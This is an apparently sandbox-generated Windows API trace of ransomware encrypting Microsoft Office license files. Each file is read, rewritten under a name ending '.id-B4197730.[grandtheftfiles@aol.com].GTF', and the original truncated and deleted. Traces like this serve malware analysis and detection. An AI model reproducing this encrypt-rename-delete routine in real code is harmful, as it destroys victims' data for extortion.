	[0178.940] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0178.940] lstrlenW (lpString=".7z") returned 3
	[0178.940] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0178.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ul-oob.xrm-ms") returned 96
	[0178.940] lstrlenW (lpString=".dbf") returned 4
	[0178.940] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0178.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ul-oob.xrm-ms") returned 96
	[0178.940] lstrlenW (lpString=".1cd") returned 4
	[0178.940] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0178.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ul-oob.xrm-ms") returned 96
	[0178.940] lstrlenW (lpString=".jpg") returned 4
	[0178.940] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0178.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ul-oob.xrm-ms") returned 96
	[0178.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ul-oob.xrm-ms") returned 96
	[0178.940] lstrlenW (lpString=".doc") returned 4
	[0178.940] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0178.940] lstrlenW (lpString=".docx") returned 5
	[0178.940] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0178.940] lstrlenW (lpString=".pdf") returned 4
	[0178.940] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0178.940] lstrlenW (lpString=".xls") returned 4
	[0178.940] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0178.940] lstrlenW (lpString=".xlsx") returned 5
	[0178.940] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0178.940] lstrlenW (lpString=".ppt") returned 4
	[0178.940] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0178.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ul-oob.xrm-ms") returned 96
	[0178.940] lstrlenW (lpString=".zip") returned 4
	[0178.940] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0178.940] lstrlenW (lpString=".rar") returned 4
	[0178.941] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0178.941] lstrlenW (lpString=".bz2") returned 4
	[0178.941] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0178.941] lstrlenW (lpString=".7z") returned 3
	[0178.941] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0178.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ul-oob.xrm-ms") returned 96
	[0178.941] lstrlenW (lpString=".dbf") returned 4
	[0178.941] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0178.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ul-oob.xrm-ms") returned 96
	[0178.941] lstrlenW (lpString=".1cd") returned 4
	[0178.941] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0178.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ul-oob.xrm-ms") returned 96
	[0178.941] lstrlenW (lpString=".jpg") returned 4
	[0178.941] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0178.941] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0178.941] lstrlenW (lpString="O365HomePremR_Grace-ul-oob.xrm-ms") returned 33
	[0178.941] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_grace-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558
	[0178.942] GetFileSizeEx (in: hFile=0x558, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=11624) returned 1
	[0178.942] CloseHandle (hObject=0x558) returned 1
	[0178.942] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_grace-ul-oob.xrm-ms")) returned 0x220
	[0178.942] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_grace-ul-oob.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0178.942] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_grace-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558
	[0178.942] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.943] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.943] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_grace-ul-oob.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c
	[0178.943] GetLastError () returned 0x0
	[0178.943] ReadFile (in: hFile=0x558, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0x2d68, lpOverlapped=0x0) returned 1
	[0178.957] WriteFile (in: hFile=0x52c, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0x2d70, lpOverlapped=0x0) returned 1
	[0178.958] ReadFile (in: hFile=0x558, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1
	[0178.958] WriteFile (in: hFile=0x52c, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0x116, lpOverlapped=0x0) returned 1
	[0178.958] SetEndOfFile (hFile=0x52c) returned 1
	[0178.958] CloseHandle (hObject=0x52c) returned 1
	[0178.958] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.958] SetEndOfFile (hFile=0x558) returned 1
	[0178.961] CloseHandle (hObject=0x558) returned 1
	[0178.961] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0178.962] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_grace-ul-oob.xrm-ms")) returned 1
	[0178.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ul-oob.xrm-ms") returned 83
	[0178.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ul-oob.xrm-ms") returned 83
	[0178.963] lstrlenW (lpString=".doc") returned 4
	[0178.963] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0178.963] lstrlenW (lpString=".docx") returned 5
	[0178.963] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0178.963] lstrlenW (lpString=".pdf") returned 4
	[0178.963] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0178.963] lstrlenW (lpString=".xls") returned 4
	[0178.963] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0178.963] lstrlenW (lpString=".xlsx") returned 5
	[0178.963] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0178.963] lstrlenW (lpString=".ppt") returned 4
	[0178.963] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0178.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ul-oob.xrm-ms") returned 83
	[0178.963] lstrlenW (lpString=".zip") returned 4
	[0178.963] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0178.963] lstrlenW (lpString=".rar") returned 4
	[0178.963] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0178.963] lstrlenW (lpString=".bz2") returned 4
	[0178.963] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0178.963] lstrlenW (lpString=".7z") returned 3
	[0178.963] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0178.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ul-oob.xrm-ms") returned 83
	[0178.963] lstrlenW (lpString=".dbf") returned 4
	[0178.963] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0178.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ul-oob.xrm-ms") returned 83
	[0178.963] lstrlenW (lpString=".1cd") returned 4
	[0178.963] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0178.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ul-oob.xrm-ms") returned 83
	[0178.963] lstrlenW (lpString=".jpg") returned 4
	[0178.963] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0178.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ul-oob.xrm-ms") returned 83
	[0178.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ul-oob.xrm-ms") returned 83
	[0178.963] lstrlenW (lpString=".doc") returned 4
	[0178.964] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0178.964] lstrlenW (lpString=".docx") returned 5
	[0178.964] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0178.964] lstrlenW (lpString=".pdf") returned 4
	[0178.964] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0178.964] lstrlenW (lpString=".xls") returned 4
	[0178.964] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0178.964] lstrlenW (lpString=".xlsx") returned 5
	[0178.964] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0178.964] lstrlenW (lpString=".ppt") returned 4
	[0178.964] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0178.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ul-oob.xrm-ms") returned 83
	[0178.964] lstrlenW (lpString=".zip") returned 4
	[0178.964] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0178.964] lstrlenW (lpString=".rar") returned 4
	[0178.964] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0178.964] lstrlenW (lpString=".bz2") returned 4
	[0178.964] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0178.964] lstrlenW (lpString=".7z") returned 3
	[0178.964] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0178.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ul-oob.xrm-ms") returned 83
	[0178.964] lstrlenW (lpString=".dbf") returned 4
	[0178.964] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0178.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ul-oob.xrm-ms") returned 83
	[0178.964] lstrlenW (lpString=".1cd") returned 4
	[0178.964] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0178.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ul-oob.xrm-ms") returned 83
	[0178.964] lstrlenW (lpString=".jpg") returned 4
	[0178.964] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0178.964] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0178.965] lstrlenW (lpString="O365HomePremR_Subscription1-ppd.xrm-ms") returned 38
	[0178.965] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription1-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558
	[0178.965] GetFileSizeEx (in: hFile=0x558, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=26541) returned 1
	[0178.965] CloseHandle (hObject=0x558) returned 1
	[0178.965] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription1-ppd.xrm-ms")) returned 0x220
	[0178.965] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription1-ppd.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0178.966] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription1-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558
	[0178.966] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.966] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.966] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription1-ppd.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c
	[0178.967] GetLastError () returned 0x0
	[0178.967] ReadFile (in: hFile=0x558, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0x67ad, lpOverlapped=0x0) returned 1
	[0178.971] WriteFile (in: hFile=0x52c, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0x67b0, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0x67b0, lpOverlapped=0x0) returned 1
	[0178.973] ReadFile (in: hFile=0x558, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1
	[0178.973] WriteFile (in: hFile=0x52c, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0x120, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0x120, lpOverlapped=0x0) returned 1
	[0178.973] SetEndOfFile (hFile=0x52c) returned 1
	[0178.973] CloseHandle (hObject=0x52c) returned 1
	[0178.974] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.974] SetEndOfFile (hFile=0x558) returned 1
	[0178.979] CloseHandle (hObject=0x558) returned 1
	[0178.979] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0179.090] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription1-ppd.xrm-ms")) returned 1
	[0179.091] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ppd.xrm-ms") returned 88
	[0179.091] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ppd.xrm-ms") returned 88
	[0179.091] lstrlenW (lpString=".doc") returned 4
	[0179.091] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0179.091] lstrlenW (lpString=".docx") returned 5
	[0179.091] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0179.091] lstrlenW (lpString=".pdf") returned 4
	[0179.091] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0179.091] lstrlenW (lpString=".xls") returned 4
	[0179.091] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0179.091] lstrlenW (lpString=".xlsx") returned 5
	[0179.091] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0179.091] lstrlenW (lpString=".ppt") returned 4
	[0179.091] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0179.091] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ppd.xrm-ms") returned 88
	[0179.091] lstrlenW (lpString=".zip") returned 4
	[0179.091] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0179.091] lstrlenW (lpString=".rar") returned 4
	[0179.091] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0179.091] lstrlenW (lpString=".bz2") returned 4
	[0179.091] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0179.091] lstrlenW (lpString=".7z") returned 3
	[0179.091] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0179.091] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ppd.xrm-ms") returned 88
	[0179.091] lstrlenW (lpString=".dbf") returned 4
	[0179.091] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0179.091] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ppd.xrm-ms") returned 88
	[0179.091] lstrlenW (lpString=".1cd") returned 4
	[0179.091] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0179.091] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ppd.xrm-ms") returned 88
	[0179.091] lstrlenW (lpString=".jpg") returned 4
	[0179.091] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0179.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ppd.xrm-ms") returned 88
	[0179.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ppd.xrm-ms") returned 88
	[0179.092] lstrlenW (lpString=".doc") returned 4
	[0179.092] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0179.092] lstrlenW (lpString=".docx") returned 5
	[0179.092] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0179.092] lstrlenW (lpString=".pdf") returned 4
	[0179.092] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0179.092] lstrlenW (lpString=".xls") returned 4
	[0179.092] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0179.092] lstrlenW (lpString=".xlsx") returned 5
	[0179.092] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0179.092] lstrlenW (lpString=".ppt") returned 4
	[0179.092] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0179.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ppd.xrm-ms") returned 88
	[0179.092] lstrlenW (lpString=".zip") returned 4
	[0179.092] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0179.092] lstrlenW (lpString=".rar") returned 4
	[0179.092] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0179.092] lstrlenW (lpString=".bz2") returned 4
	[0179.092] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0179.092] lstrlenW (lpString=".7z") returned 3
	[0179.092] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0179.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ppd.xrm-ms") returned 88
	[0179.092] lstrlenW (lpString=".dbf") returned 4
	[0179.092] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0179.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ppd.xrm-ms") returned 88
	[0179.092] lstrlenW (lpString=".1cd") returned 4
	[0179.092] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0179.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ppd.xrm-ms") returned 88
	[0179.092] lstrlenW (lpString=".jpg") returned 4
	[0179.092] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0179.092] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0179.093] lstrlenW (lpString="O365HomePremR_Subscription2-pl.xrm-ms") returned 37
	[0179.093] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription2-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c
	[0179.093] GetFileSizeEx (in: hFile=0x45c, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=11199) returned 1
	[0179.093] CloseHandle (hObject=0x45c) returned 1
	[0179.093] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription2-pl.xrm-ms")) returned 0x220
	[0179.093] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription2-pl.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0179.094] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription2-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c
	[0179.094] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.094] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.094] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription2-pl.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0179.094] GetLastError () returned 0x0
	[0179.094] ReadFile (in: hFile=0x45c, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0x2bbf, lpOverlapped=0x0) returned 1
	[0179.110] WriteFile (in: hFile=0x374, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0x2bc0, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0x2bc0, lpOverlapped=0x0) returned 1
	[0179.111] ReadFile (in: hFile=0x45c, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1
	[0179.111] WriteFile (in: hFile=0x374, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0x11e, lpOverlapped=0x0) returned 1
	[0179.111] SetEndOfFile (hFile=0x374) returned 1
	[0179.111] CloseHandle (hObject=0x374) returned 1
	[0179.111] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.111] SetEndOfFile (hFile=0x45c) returned 1
	[0179.114] CloseHandle (hObject=0x45c) returned 1
	[0179.114] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0179.114] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription2-pl.xrm-ms")) returned 1
